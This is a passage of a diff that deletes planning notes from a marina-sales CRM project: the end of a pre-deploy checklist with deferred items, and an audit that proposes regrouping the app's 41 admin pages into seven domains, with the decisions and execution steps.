|
||||
`developerSignTime`, `EOI_Completed_At`, `finalized_document_sent_at`)
|
||||
scattered as text fields. There is **no dedicated stage-change
|
||||
history table** — only the most recent stage value survives.
|
||||
|
||||
The recommender simulator's tier-ladder + heat-score logic depends on
|
||||
"how long did this deal sit at each stage" and "which stage did past
|
||||
deals make it furthest to before falling through." Without an
|
||||
advancement timeline that's not recoverable: every imported interest
|
||||
collapses to one data point.
|
||||
|
||||
**Decision (2026-05-14):** defer the simulator until production
|
||||
accumulates ~10+ won deals under the new pipeline — then the simulator
|
||||
can replay against real CRM history. The existing per-port heat-weight
|
||||
tuning UI in `/admin/berth-recommender` is sufficient for v1 launch.
|
||||
|
||||
---
|
||||
|
||||
## 3. Deferred items (will not block deploy)
|
||||
|
||||
### 3.1 External / operator actions (your side)
|
||||
|
||||
- **Coordinate website cutover env vars**: generate shared secret with `openssl rand -hex 32`, set `CRM_INTAKE_SECRET` on the website and `WEBSITE_INTAKE_SECRET` on the CRM, wire website's berth-map fetch + inquiry-submit + health probe per `docs/website-cutover-runbook.md`.
|
||||
- **Legal review of right-to-be-forgotten scope** — anonymize vs true-delete decision. Mechanical fix once policy is set.
|
||||
- **Documenso v2 endpoint audit against live v2 instance** — verify `/api/v2/envelope/delete` shape, webhook payload (`documentId` vs `id`), `recipientId` vs `token`. Needs a live v2 instance.
|
||||
|
||||
### 3.2 Deferred indefinitely (no current trigger)
|
||||
|
||||
- Bulk import queue worker (`src/lib/queue/workers/import.ts`) — superseded by bespoke migration scripts. Delete placeholder when the comprehensive NocoDB migration ships.
|
||||
- Auto-calibration of berth-recommender weights — depends on accumulating ≥10 won deals in the new system before it produces meaningful results.
|
||||
|
||||
### 3.3 Comprehensive NocoDB → CRM migration
|
||||
|
||||
**Separate workstream** — its own multi-session project. Scope:
|
||||
|
||||
1. Pull every row from legacy NocoDB via MCP.
|
||||
2. Audit messy MinIO storage; tie loose signed PDFs to client/interest/yacht where ownership is recoverable.
|
||||
3. Carry over historical Documenso documents (per-port API key + envelope IDs).
|
||||
4. Map legacy schema → current schema; fill obvious data gaps where the right answer is unambiguous.
|
||||
5. Dry-run + apply against prod DB at initial startup.
|
||||
|
||||
Not on the pre-deploy checklist below — handled as a dedicated planning session before the first port-data import.
|
||||
|
||||
---
|
||||
|
||||
## 4. Pre-deploy operator checklist
|
||||
|
||||
In rough order. Tick as completed.
|
||||
|
||||
### 4.1 External (operator side)
|
||||
|
||||
- [ ] Generate `WEBSITE_INTAKE_SECRET` via `openssl rand -hex 32`; configure both CRM and website to use it.
|
||||
- [ ] Coordinate website-cutover plan with website repo per `docs/website-cutover-runbook.md`.
|
||||
- [ ] Provision IMAP credentials for `noreply@portnimara.com` (and `sales@portnimara.com` if applicable) so bounce monitoring works at boot.
|
||||
- [ ] Provision SMTP credentials for both sender addresses; verify each can actually send.
|
||||
- [ ] DNS + SSL for the CRM domain.
|
||||
- [ ] Decide RTBF policy (anonymize vs true-delete) with legal; document in `docs/runbooks/`.
|
||||
|
||||
### 4.2 CRM side (run after code work is complete)
|
||||
|
||||
- [ ] `pnpm exec vitest run` — all pass.
|
||||
- [ ] `pnpm exec tsc --noEmit` — clean.
|
||||
- [ ] `pnpm exec eslint .` — clean.
|
||||
- [ ] `pnpm exec playwright test --project=smoke` — passes.
|
||||
- [ ] `pnpm db:migrate` against a fresh prod-shaped DB — runner ships in commit `544b129`; verify it actually runs `CREATE INDEX CONCURRENTLY` statements.
|
||||
- [ ] `pnpm tsx scripts/migrate-storage.ts` if switching from filesystem → s3 storage backend.
|
||||
- [ ] Verify `MULTI_NODE_DEPLOYMENT=true` is set if web + worker run on separate nodes (filesystem backend refuses to start otherwise).
|
||||
- [ ] Confirm `EMAIL_REDIRECT_TO` is **unset** in production (`src/lib/env.ts:110` refuses to start otherwise).
|
||||
- [ ] Confirm `DOCUMENSO_API_URL` is bare host (no `/api/v1` suffix) and matches the live Documenso version's `DOCUMENSO_API_VERSION`.
|
||||
- [ ] Verify `/api/public/health?X-Intake-Secret=...` returns 200 with `checks: { db: 'ok', redis: 'ok' }`.
|
||||
|
||||
---
|
||||
|
||||
## 5. What's NOT in this plan
|
||||
|
||||
Items explicitly out of scope for this deploy:
|
||||
|
||||
- IMAP-based two-way email sync — feature scope decision, anti-automation stance.
|
||||
- AI features (semantic search, auto-summarize, anomaly detection) — anti-automation stance.
|
||||
- `.toLocale*` → `formatDate()` sweep (93 sites) — opportunistic as files are touched.
|
||||
- `drizzle-zod` adoption for the remaining ~28 validators — opportunistic.
|
||||
- Reports system + admin-composable report templates (`audit-followups Wave 11.C`) — post-deploy feature work.
|
||||
- Manual client form expansion (`Wave 11.A`) — post-deploy feature work.
|
||||
- Inquiry triage auto-classification (`Wave 11.F`) — post-deploy feature work.
|
||||
- Per-port email branding admin UI (`Wave 11.G`) — post-deploy feature work.
|
||||
|
||||
---
|
||||
|
||||
_Last updated: 2026-05-14._
|
||||
@@ -1,415 +0,0 @@
|
||||
# Admin IA — Audit + Proposed Regrouping
|
||||
|
||||
**Status:** Phase 1 (proposal + decisions) — captured 2026-05-22 from B3 #10. Open questions resolved in section 7; final IA reflected in section 8. Phase 2 (execution) is mechanical from here.
|
||||
|
||||
## Resolved decisions (2026-05-22)
|
||||
|
||||
User answered the 5 open questions from section 7:
|
||||
|
||||
1. **Forms + Document Templates** → moved to **Sales workflow** (not "Content"). Both are workflow inputs, not abstract content.
|
||||
2. **Webhooks** → keep as its own thing; **new "Integrations" domain** is the right home (Webhooks + Documenso + Website analytics + AI all belong together as "external system + provider config").
|
||||
3. **AI configuration** → keep a dedicated `/admin/ai` panel that consolidates every AI feature in one place; lives under the new **Integrations** domain.
|
||||
4. **`/admin/reports`** → **DELETE entirely** (confirmed duplicative — the dashboard already renders Pipeline funnel + Berth occupancy + KPI cards via widgets). Redirect to `/[portSlug]/dashboard`.
|
||||
5. **`/admin/settings`** (generic KV editor) → keep visible to all admins under System & observability.
|
||||
|
||||
**Net effect:** 7 domains instead of 6; 3 pages deleted (ocr, invitations, reports) instead of 2. Final IA in section 8.
|
||||
|
||||
---
|
||||
|
||||
**Goal:** today's 41 admin pages are organically grown and discoverability is poor (test-email lives on Branding, an SMTP test on Email, an OCR-settings duplicate exists on both `/admin/ai` and `/admin/ocr`, etc.). Below: page-by-page inventory + a recommended IA in 6 domains.
|
||||
|
||||
**Out of scope here:** the actual file moves, route redirects, and nav updates. That's Phase 2 (~4–6h once the IA below is locked).
|
||||
|
||||
---
|
||||
|
||||
## 1. Page-by-page inventory (current state, 41 pages)
|
||||
|
||||
Sorted alphabetically. Each row: what the page renders today + its current admin-sections-browser group.
|
||||
|
||||
| Route | What it renders | Current group |
|
||||
| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------- |
|
||||
| `/admin` | `<AdminSectionsBrowser>` — landing tile grid grouped into 5 categories | — |
|
||||
| `/admin/ai` | `<RegistryDrivenForm>` (ai master controls + provider credentials) + `<OcrSettingsForm>` + AI-suggestions card | Operations |
|
||||
| `/admin/audit` | `<AuditLogList>` — full mutation log search | Data Quality |
|
||||
| `/admin/backup` | `<BackupAdminPanel>` — backup posture (read-only) | Operations |
|
||||
| `/admin/berths/bulk-add` | `<BulkAddBerthsWizard>` — generate berth rows in bulk | (not in landing browser) |
|
||||
| `/admin/berths/reconcile` | `<ReconcileQueue>` — review berths missing required fields | (not in landing browser) |
|
||||
| `/admin/branding` | `<RegistryDrivenForm sections={['branding']}>` (identity) + email branding form + `<PdfLogoUploader>` + `<EmailPreviewCard>` | Configuration |
|
||||
| `/admin/brochures` | `<BrochuresAdminPanel>` — upload/version port brochures | (not in landing browser) |
|
||||
| `/admin/custom-fields` | `<CustomFieldsManager>` — per-entity custom-field definitions | Content |
|
||||
| `/admin/documenso` | `<RegistryDrivenForm>` (api creds, signers, templates, behavior) + `<DocumensoTestButton>` + `<TemplateSyncButton>` + `<EmbeddedSigningCard>` | Configuration ("EOI signing service") |
|
||||
| `/admin/duplicates` | `<DuplicatesReviewQueue>` — suspected-duplicate clients | Data Quality |
|
||||
| `/admin/email` | `<RegistryDrivenForm>` (from address + smtp) + `<SmtpTestSendCard>` + `<TestTemplateCard>` (new) + `<SalesEmailConfigCard>` + `<EmailRoutingCard>` | Configuration |
|
||||
| `/admin/email-templates` | `<EmailTemplatesAdmin>` — subject-line overrides per transactional template | Content |
|
||||
| `/admin/errors` | error-event list (system errors) | (not in landing browser) |
|
||||
| `/admin/errors/codes` | error-code catalog reference | (not in landing browser) |
|
||||
| `/admin/errors/[requestId]` | single error-event detail | (not in landing browser) |
|
||||
| `/admin/forms` | `<FormTemplateList>` — public inquiry/intake form schemas | Content |
|
||||
| `/admin/import` | CSV import wizard | Data Quality ("Bulk Import") |
|
||||
| `/admin/inquiries` | `<InquiryInbox>` — public-site submissions awaiting triage | Data Quality |
|
||||
| `/admin/invitations` | (empty body — comment says merged into `/admin/users` 2026-05-21) | (not in landing browser) |
|
||||
| `/admin/monitoring` | `<SystemMonitoringDashboard>` — BullMQ queue health | Operations |
|
||||
| `/admin/monitoring/[queueName]` | `<QueueDetailTable>` — single-queue drill-down | (not in landing browser) |
|
||||
| `/admin/ocr` | `<OcrSettingsForm>` — **DUPLICATES the same form on `/admin/ai`** | (not in landing browser) |
|
||||
| `/admin/onboarding` | `<OnboardingChecklist>` — cross-page setup checklist for new ports | Operations |
|
||||
| `/admin/pipeline-rules` | per-trigger berth-rules editor + `<RegistryDrivenForm sections={['pipeline.auto-advance']}>` | Configuration ("Pipeline auto-advance") |
|
||||
| `/admin/ports` | `<PortList>` — manage marinas (super-admin only) | Operations |
|
||||
| `/admin/pulse` | `<RegistryDrivenForm sections={['pulse']}>` — pulse chip tuning | Configuration |
|
||||
| `/admin/qualification-criteria` | `<QualificationCriteriaAdmin>` — lead-qualification rubric | Operations |
|
||||
| `/admin/reminders` | `<RegistryDrivenForm sections={['reminders.defaults','reminders.digest']}>` | Configuration |
|
||||
| `/admin/reports` | `<ReportsDashboard>` — saved analytics + ad-hoc queries | Operations |
|
||||
| `/admin/residential-stages` | `<ResidentialStagesAdmin>` + stage-template registry form | Operations |
|
||||
| `/admin/roles` | `<RoleList>` — role/permission matrix | Access |
|
||||
| `/admin/sends` | `<SendsLog>` — brochure + per-berth PDF send retries | Data Quality |
|
||||
| `/admin/settings` | `<SettingsManager>` — generic system_settings KV editor (escape hatch) | Configuration ("System Settings") |
|
||||
| `/admin/storage` | `<StorageAdminPanel>` — storage backend selector + migration | Operations |
|
||||
| `/admin/tags` | `<TagList>` — color-coded tags per entity | Content |
|
||||
| `/admin/templates` | `<TemplateList>` — PDF + email document templates (merge-field-driven) | Content |
|
||||
| `/admin/templates/[id]/editor` | per-template editor (PDF + email body) | (not in landing browser) |
|
||||
| `/admin/users` | `<UserList>` + `<InvitationsManager>` (tabs, merged 2026-05-21) | Access |
|
||||
| `/admin/vocabularies` | `<VocabulariesManager>` — admin-editable enum lists | Content |
|
||||
| `/admin/webhooks` | `<WebhookForm>` + `<WebhookDeliveryLog>` + `<WebhookSecretDisplay>` | Configuration |
|
||||
| `/admin/website-analytics` | Umami creds form + `<UmamiTestButton>` | Operations |
|
||||
|
||||
---
|
||||
|
||||
## 2. Issues identified
|
||||
|
||||
### 2.1 Duplicates
|
||||
|
||||
1. **`/admin/ocr` duplicates `/admin/ai`** — same `<OcrSettingsForm>` is mounted on both. The AI page is the source of truth (it also has the master AI switch + provider creds + AI-suggestions config). **Recommendation: delete `/admin/ocr`** + add a redirect.
|
||||
2. **`/admin/invitations` is dead** — the page body is empty (per the comment, merged into `/admin/users` 2026-05-21). **Recommendation: delete the route** + add a redirect to `/admin/users?tab=invitations`.
|
||||
|
||||
### 2.2 Misplaced cards
|
||||
|
||||
1. **`<EmailPreviewCard>` is on Branding but tests email rendering** — overlap with the new per-template tester on `/admin/email`. **Recommendation: KEEP on Branding** (it's a one-click "does the email LOOK right with current logo/colors?" affordance — that's a branding-validation concern, not a delivery test). Add a sibling link "→ Test individual templates" pointing at `/admin/email`.
|
||||
2. **`<SalesEmailConfigCard>` is on `/admin/email`** — correct home, but it's structurally identical to the noreply SMTP card above it (just a second mailbox). **Recommendation: keep but reformat** so both mailboxes are in matching cards stacked, with a shared "Test send" footer per mailbox.
|
||||
3. **`<EmailRoutingCard>` is on `/admin/email`** — actually it's a routing-rule editor (when X event fires, route through Y mailbox). Conceptually closer to a workflow rule than a credentials setting. **Recommendation: keep on Email** for now (the routing IS about email plumbing) but cross-link from Workflows since changing the rule changes behaviour.
|
||||
|
||||
### 2.3 Inconsistent naming
|
||||
|
||||
1. **"Documenso & EOI"** page title implies EOI lives separately — but EOI generation is one of multiple Documenso flows. **Recommendation: rename to "Signing service (Documenso)"**.
|
||||
2. **"Bulk Import"** vs `/admin/import` — fine, but the page should explicitly say "Data import" (matches the page title `<PageHeader title="Data import">`).
|
||||
3. **"Send Log"** vs `/admin/sends` — fine; consider renaming the route slug to `/admin/send-log` for clarity, but that costs cross-references.
|
||||
|
||||
### 2.4 Pages not in the admin-sections-browser tile grid
|
||||
|
||||
A bunch of pages exist as routes but aren't surfaced on `/admin`:
|
||||
|
||||
- `/admin/berths/bulk-add`, `/admin/berths/reconcile` — only reachable from deep links inside the Berths page
|
||||
- `/admin/brochures`
|
||||
- `/admin/email-templates`, `/admin/tags`, `/admin/vocabularies`, `/admin/custom-fields`, `/admin/forms` — actually these ARE in the browser under "Content", verified
|
||||
- `/admin/qualification-criteria`, `/admin/residential-stages` — under Operations
|
||||
- `/admin/errors`, `/admin/errors/codes`, `/admin/errors/[requestId]`
|
||||
- `/admin/ocr` (duplicate, recommended for deletion)
|
||||
- `/admin/invitations` (dead, recommended for deletion)
|
||||
|
||||
**Recommendation:** surface every active page on `/admin` (no hidden surfaces — discoverability matters for admins). Move `/admin/berths/bulk-add` + `/admin/berths/reconcile` to a new "Berths admin" landing card.
|
||||
|
||||
### 2.5 Categories that don't quite fit
|
||||
|
||||
- **"Content"** is doing too much heavy lifting — it lumps tag color picker (visual), vocab enum lists (config), form templates (workflow), and document templates (mail merge). These are all things admins _tune_ but their cognitive shape is different.
|
||||
- **"Data Quality"** mixes inbound queues (Inquiry Inbox) with cleanup utilities (Duplicates, Bulk Import) — those serve different daily-workflows.
|
||||
- **"Operations"** is the catch-all for "anything observability or infra-shaped" but also has things that are pure setup (AI configuration, residential pipeline stages).
|
||||
|
||||
---
|
||||
|
||||
## 3. Proposed IA — 6 domains, 38 pages
|
||||
|
||||
Two pages deleted (`/admin/ocr`, `/admin/invitations`), one moved out of admin entirely (`/admin/reports` — see below), one new sub-area (`/admin/berths`). Net page count: 41 → 38.
|
||||
|
||||
### Domain 1. **Brand & Communication** (5 pages)
|
||||
|
||||
_Everything about how outbound looks + which channel it ships on._
|
||||
|
||||
| Page | Action | Notes |
|
||||
| ------------------------ | -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `/admin/branding` | KEEP | Logo, colors, app name, email header/footer HTML, the visual "does it look right?" tester. |
|
||||
| `/admin/email` | KEEP | SMTP creds (noreply + sales), routing, per-template tester, SMTP connectivity probe. |
|
||||
| `/admin/email-templates` | KEEP | Subject-line overrides per transactional template. Stays separate from `/admin/email` because the audience is "copywriter" vs "ops". |
|
||||
| `/admin/documenso` | RENAME → "Signing service" | API creds, signer identities, templates, behaviour. Page title currently says "Documenso & EOI" — drop "& EOI" (EOI is one of many doc types). |
|
||||
| `/admin/webhooks` | KEEP | Outbound webhook subscriptions + delivery log. Sits here because webhooks are an outbound-comms channel, same conceptual bucket as email. |
|
||||
|
||||
### Domain 2. **Sales workflow** (7 pages)
|
||||
|
||||
_How the pipeline behaves end-to-end — triggers, scoring, templates._
|
||||
|
||||
| Page | Action | Notes |
|
||||
| ------------------------------- | ----------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
|
||||
| `/admin/pipeline-rules` | KEEP | Berth-rules engine triggers + auto-advance. |
|
||||
| `/admin/pulse` | KEEP | Deal Pulse chip tuning. |
|
||||
| `/admin/reminders` | KEEP | Default reminder behaviour + digest window. |
|
||||
| `/admin/qualification-criteria` | MOVE FROM "Operations" → here | Lead-qualification rubric — clearly a sales-workflow concern. |
|
||||
| `/admin/residential-stages` | MOVE FROM "Operations" → here | Residential pipeline shape. Same domain as the standard pipeline rules. |
|
||||
| `/admin/forms` | MOVE FROM "Content" → here | Form templates drive lead intake — workflow input, not "content". |
|
||||
| `/admin/templates` | MOVE FROM "Content" → here | Document templates carry merge fields tied to the pipeline (EOI, reservation, contract). These ARE pipeline artefacts. |
|
||||
|
||||
### Domain 3. **Catalog** (4 pages)
|
||||
|
||||
_Tenant-defined data shapes — values that get attached to records._
|
||||
|
||||
| Page | Action | Notes |
|
||||
| ---------------------- | -------------------------- | ---------------------------------------------------------------------------- |
|
||||
| `/admin/vocabularies` | KEEP | Admin-editable enum lists (berth_side_pontoon_options, lead_category, etc.). |
|
||||
| `/admin/tags` | KEEP | Color tags. |
|
||||
| `/admin/custom-fields` | KEEP | Per-entity field definitions. |
|
||||
| `/admin/brochures` | MOVE FROM ungrouped → here | Brochure assets are catalog artefacts (per-port versioned PDFs). |
|
||||
|
||||
### Domain 4. **Identity & access** (3 pages)
|
||||
|
||||
_Who can use the system and what they can do._
|
||||
|
||||
| Page | Action | Notes |
|
||||
| -------------- | ------ | -------------------------------------------- |
|
||||
| `/admin/users` | KEEP | Active users + invitations (already merged). |
|
||||
| `/admin/roles` | KEEP | Role/permission matrix. |
|
||||
| `/admin/ports` | KEEP | Super-admin only; per-port management. |
|
||||
|
||||
### Domain 5. **Inbox & data quality** (6 pages)
|
||||
|
||||
_Stuff that lands in admin queues + tools to clean up data._
|
||||
|
||||
| Page | Action | Notes |
|
||||
| ------------------------- | ----------------------------------------------------------- | ----------------------------------------------------------- |
|
||||
| `/admin/inquiries` | KEEP | Public-site form submissions. |
|
||||
| `/admin/sends` | KEEP | Brochure + per-berth-PDF send retries. |
|
||||
| `/admin/duplicates` | KEEP | Suspected-duplicate review queue. |
|
||||
| `/admin/import` | KEEP | CSV imports. |
|
||||
| `/admin/berths` | NEW INDEX | Landing page that surfaces the two berth-admin tools below. |
|
||||
| `/admin/berths/bulk-add` | MOVE FROM ungrouped → keep route, surface via /admin/berths | Bulk berth row generator. |
|
||||
| `/admin/berths/reconcile` | MOVE FROM ungrouped → keep route, surface via /admin/berths | Berth-pdf reconciliation queue. |
|
||||
|
||||
(Counted as one Berths entry on the landing tile + the two existing routes as sub-pages.)
|
||||
|
||||
### Domain 6. **System & observability** (10 pages)
|
||||
|
||||
_Infra, observability, escape hatches._
|
||||
|
||||
| Page | Action | Notes |
|
||||
| ------------------------------- | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `/admin/audit` | KEEP | Mutation audit log. |
|
||||
| `/admin/monitoring` | KEEP | BullMQ queue health. |
|
||||
| `/admin/monitoring/[queueName]` | KEEP | Single-queue detail. |
|
||||
| `/admin/errors` | SURFACE on landing | Error-event list (currently hidden from `/admin` tile grid). |
|
||||
| `/admin/errors/codes` | KEEP as sub-page | Linked from `/admin/errors`. |
|
||||
| `/admin/errors/[requestId]` | KEEP as sub-page | Linked from `/admin/errors`. |
|
||||
| `/admin/backup` | KEEP | Backup posture. |
|
||||
| `/admin/storage` | KEEP | Storage backend selector + migration. |
|
||||
| `/admin/website-analytics` | KEEP | Umami creds. |
|
||||
| `/admin/ai` | KEEP | AI config (master switch, providers, OCR settings, suggestions). |
|
||||
| `/admin/settings` | KEEP | Generic KV editor (escape hatch for advanced flags). Stays in this domain because it's an admin-debug surface, not a normal-day setting. |
|
||||
| `/admin/onboarding` | KEEP, FLOATS | Cross-cutting setup checklist. Stays accessible from `/admin` landing but doesn't belong in any single domain — it links to many. |
|
||||
|
||||
### Out of admin entirely
|
||||
|
||||
| Page | Action | Rationale |
|
||||
| ---------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `/admin/reports` | MOVE OUT → `/[portSlug]/reports` | Reports are an end-user feature, not admin config. Today it lives in admin only because it's permission-gated; should be a top-level nav item with the same permission gate. Defer to a follow-up; for the IA pass, just stop surfacing it on `/admin`. |
|
||||
|
||||
### Deleted
|
||||
|
||||
| Page | Action | Rationale |
|
||||
| -------------------- | ----------------------------- | -------------------------------------------- |
|
||||
| `/admin/ocr` | DELETE + 301 → `/admin/ai` | Duplicate of `/admin/ai`. |
|
||||
| `/admin/invitations` | DELETE + 301 → `/admin/users` | Empty page; functionality merged 2026-05-21. |
|
||||
|
||||
---
|
||||
|
||||
## 4. Misplaced cards / sub-section moves
|
||||
|
||||
These are smaller-grained moves _within_ the new IA — cards that should change page even though the routes stay put.
|
||||
|
||||
1. **`<EmailPreviewCard>` (currently on `/admin/branding`)** → KEEP on Branding (visual brand check); add a "→ Test individual templates" link pointing at `/admin/email#test-template`.
|
||||
2. **`<EmailRoutingCard>` (currently on `/admin/email`)** → KEEP on Email; cross-link from a "Routing rules" subsection of the new Workflow domain.
|
||||
3. **`<TemplateSyncButton>` (currently on `/admin/documenso`)** → KEEP; consider surfacing duplicate on `/admin/templates` (since "Sync from Documenso" populates template IDs there).
|
||||
4. **`<OnboardingChecklist>`** → consider exposing a slim version as a banner on `/admin` landing for ports that haven't completed setup.
|
||||
|
||||
---
|
||||
|
||||
## 5. Proposed `/admin` landing tile groups
|
||||
|
||||
The `admin-sections-browser.tsx` array should be rebuilt to match the 6 domains above. Sketch:
|
||||
|
||||
```ts
|
||||
const SECTIONS: AdminSection[] = [
|
||||
{
|
||||
title: 'Brand & Communication',
|
||||
description: 'How outbound looks and which channels it ships on.',
|
||||
items: ['branding', 'email', 'email-templates', 'documenso', 'webhooks'],
|
||||
},
|
||||
{
|
||||
title: 'Sales workflow',
|
||||
description: 'Pipeline behaviour, scoring, document + form templates.',
|
||||
items: [
|
||||
'pipeline-rules',
|
||||
'pulse',
|
||||
'reminders',
|
||||
'qualification-criteria',
|
||||
'residential-stages',
|
||||
'forms',
|
||||
'templates',
|
||||
],
|
||||
},
|
||||
{
|
||||
title: 'Catalog',
|
||||
description: 'Tenant-defined enums, tags, custom fields, and brochures.',
|
||||
items: ['vocabularies', 'tags', 'custom-fields', 'brochures'],
|
||||
},
|
||||
{
|
||||
title: 'Identity & access',
|
||||
description: 'Who can use the system and what they can do.',
|
||||
items: ['users', 'roles', 'ports'],
|
||||
},
|
||||
{
|
||||
title: 'Inbox & data quality',
|
||||
description: 'Admin queues + cleanup tools.',
|
||||
items: ['inquiries', 'sends', 'duplicates', 'import', 'berths'],
|
||||
},
|
||||
{
|
||||
title: 'System & observability',
|
||||
description: 'Infra, observability, escape hatches.',
|
||||
items: [
|
||||
'audit',
|
||||
'monitoring',
|
||||
'errors',
|
||||
'backup',
|
||||
'storage',
|
||||
'website-analytics',
|
||||
'ai',
|
||||
'settings',
|
||||
],
|
||||
},
|
||||
];
|
||||
```
|
||||
|
||||
Onboarding checklist surfaces above the grid (or as a banner on incomplete ports), not as a tile.
|
||||
|
||||
---
|
||||
|
||||
## 6. Phase 2 execution plan (~4–6h)
|
||||
|
||||
Once the above IA is approved (or amended), the migration is mechanical:
|
||||
|
||||
1. **Update `admin-sections-browser.tsx`** to the 6-domain shape above. (~30 min)
|
||||
2. **Delete `/admin/ocr`** + add `redirect()` to `/admin/ai`. (~10 min)
|
||||
3. **Delete `/admin/invitations`** + add `redirect()` to `/admin/users`. (~10 min)
|
||||
4. **Rename "Documenso & EOI"** → "Signing service" (page title + landing label). (~5 min)
|
||||
5. **Create `/admin/berths/page.tsx`** index that surfaces bulk-add + reconcile. (~30 min)
|
||||
6. **Move `/admin/reports` out of admin** — touches sidebar nav + landing browser + permission docs. Defer to its own task if scope creeps. (~1h)
|
||||
7. **Cross-link cards** per section 4 (EmailPreviewCard → /admin/email link, etc.). (~30 min)
|
||||
8. **Smoke pass** — click every tile, confirm every page loads, every redirect lands. (~30 min)
|
||||
9. **Audit doc update** — mark B3 #10 SHIPPED in `alpha-uat-master.md`. (~10 min)
|
||||
|
||||
Total: ~4 h plus ~1 h for the Reports move if we include it.
|
||||
|
||||
---
|
||||
|
||||
## 7. Open questions (resolved)
|
||||
|
||||
| # | Question | Decision |
|
||||
| --- | ---------------------------------------- | ------------------------------------------------------------------------------- |
|
||||
| 1 | Forms + Document Templates placement | Moved to **Sales workflow** (not Content) |
|
||||
| 2 | Webhooks placement | **New "Integrations" domain** (webhooks + documenso + website-analytics + ai) |
|
||||
| 3 | AI configuration placement | Keep dedicated `/admin/ai` panel; lives under **Integrations** |
|
||||
| 4 | `/admin/reports` | **DELETE entirely** (duplicates dashboard); redirect to `/[portSlug]/dashboard` |
|
||||
| 5 | `/admin/settings` (KV editor) visibility | Keep visible to all admins under **System & observability** |
|
||||
|
||||
---
|
||||
|
||||
## 8. Final IA — 7 domains, 38 pages
|
||||
|
||||
After resolutions. Three pages deleted (`/admin/ocr`, `/admin/invitations`, `/admin/reports`); one new sub-area (`/admin/berths` index); one new domain (Integrations) split out from Brand & Communication.
|
||||
|
||||
### Domain 1. **Brand & Communication** (3 pages)
|
||||
|
||||
_How outbound LOOKS — visual and copy._
|
||||
|
||||
- `/admin/branding` — logo, colors, app name, email shell HTML, EmailPreviewCard (visual check)
|
||||
- `/admin/email` — SMTP creds (noreply + sales), routing, per-template tester, SMTP probe
|
||||
- `/admin/email-templates` — subject-line + copy overrides per transactional template
|
||||
|
||||
### Domain 2. **Sales workflow** (7 pages)
|
||||
|
||||
_How the pipeline BEHAVES — triggers, scoring, templates._
|
||||
|
||||
- `/admin/pipeline-rules` — berth-rules engine + auto-advance
|
||||
- `/admin/pulse` — Deal Pulse chip tuning
|
||||
- `/admin/reminders` — default behaviour + digest
|
||||
- `/admin/qualification-criteria` — lead-scoring rubric
|
||||
- `/admin/residential-stages` — residential pipeline shape
|
||||
- `/admin/forms` — lead intake form templates (moved from Content)
|
||||
- `/admin/templates` — document templates with merge fields (moved from Content)
|
||||
|
||||
### Domain 3. **Catalog** (4 pages)
|
||||
|
||||
_Tenant-defined data shapes that attach to records._
|
||||
|
||||
- `/admin/vocabularies` — admin-editable enum lists
|
||||
- `/admin/tags` — color tags
|
||||
- `/admin/custom-fields` — per-entity field definitions
|
||||
- `/admin/brochures` — per-port versioned PDF assets
|
||||
|
||||
### Domain 4. **Identity & access** (3 pages)
|
||||
|
||||
- `/admin/users` — active users + invitations (merged)
|
||||
- `/admin/roles` — role/permission matrix
|
||||
- `/admin/ports` — super-admin only, per-port management
|
||||
|
||||
### Domain 5. **Inbox & data quality** (5 pages, 1 sub-index)
|
||||
|
||||
_Admin queues + cleanup tools._
|
||||
|
||||
- `/admin/inquiries` — public-site submissions
|
||||
- `/admin/sends` — outbound send retry log
|
||||
- `/admin/duplicates` — duplicate-client review queue
|
||||
- `/admin/import` — CSV imports
|
||||
- `/admin/berths` — **NEW** index page surfacing the two existing sub-tools:
|
||||
- `/admin/berths/bulk-add` (bulk row generator)
|
||||
- `/admin/berths/reconcile` (berth-pdf reconciliation queue)
|
||||
|
||||
### Domain 6. **Integrations** (4 pages) — NEW DOMAIN
|
||||
|
||||
_External-system + provider configuration._
|
||||
|
||||
- `/admin/documenso` — signing service (rename from "Documenso & EOI" → "Signing service")
|
||||
- `/admin/webhooks` — outbound subscriptions + delivery log
|
||||
- `/admin/website-analytics` — Umami creds
|
||||
- `/admin/ai` — dedicated AI panel consolidating master switch + provider creds + OCR settings + AI-suggestions config
|
||||
|
||||
### Domain 7. **System & observability** (7 pages + 1 floating)
|
||||
|
||||
_Infra, observability, escape hatches._
|
||||
|
||||
- `/admin/audit` — mutation audit log
|
||||
- `/admin/monitoring` — BullMQ queue health (+ `/admin/monitoring/[queueName]` sub-page)
|
||||
- `/admin/errors` — error-event list (+ `/admin/errors/codes` + `/admin/errors/[requestId]`)
|
||||
- `/admin/backup` — backup posture
|
||||
- `/admin/storage` — storage backend selector + migration
|
||||
- `/admin/settings` — generic KV editor (escape hatch)
|
||||
- `/admin/onboarding` — cross-cutting setup checklist (floats above the grid for incomplete ports)
|
||||
|
||||
### Deleted
|
||||
|
||||
| Page | Action | Rationale |
|
||||
| -------------------- | -------------------------------------- | ---------------------------------------------------- |
|
||||
| `/admin/ocr` | DELETE + 301 → `/admin/ai` | Duplicate of `/admin/ai`'s OcrSettingsForm |
|
||||
| `/admin/invitations` | DELETE + 301 → `/admin/users` | Empty page; merged into `/admin/users` on 2026-05-21 |
|
||||
| `/admin/reports` | DELETE + 301 → `/[portSlug]/dashboard` | Three widgets all already on the dashboard |
|
||||
|
||||
---
|
||||
|
||||
## 9. Phase 2 execution plan (~4-5 h)
|
||||
|
||||
Updated to reflect the resolved decisions. Reports move-out becomes a delete (simpler).
|
||||
|
||||
1. **Update `admin-sections-browser.tsx`** to the 7-domain shape above. (~45 min — 7 groups, ~30 tiles)
|
||||
2. **Delete `/admin/ocr`** + add `redirect()` to `/admin/ai`. (~10 min)
|
||||
3. **Delete `/admin/invitations`** + add `redirect()` to `/admin/users`. (~10 min)
|
||||
4. **Delete `/admin/reports`** + add `redirect()` to `/[portSlug]/dashboard`. (~10 min) + remove from sidebar nav + landing browser. (~15 min)
|
||||
5. **Rename `/admin/documenso`** page title → "Signing service" (page title + landing tile label). (~5 min)
|
||||
6. **Create `/admin/berths/page.tsx`** index page surfacing bulk-add + reconcile sub-tools. (~30 min)
|
||||
7. **Cross-link `<EmailPreviewCard>`** on Branding to add a "→ Test individual templates" link pointing at `/admin/email#test-template`. (~10 min)
|
||||
8. **Smoke pass** — click every tile on the new `/admin` landing, confirm every page loads, every redirect lands. (~30 min)
|
||||
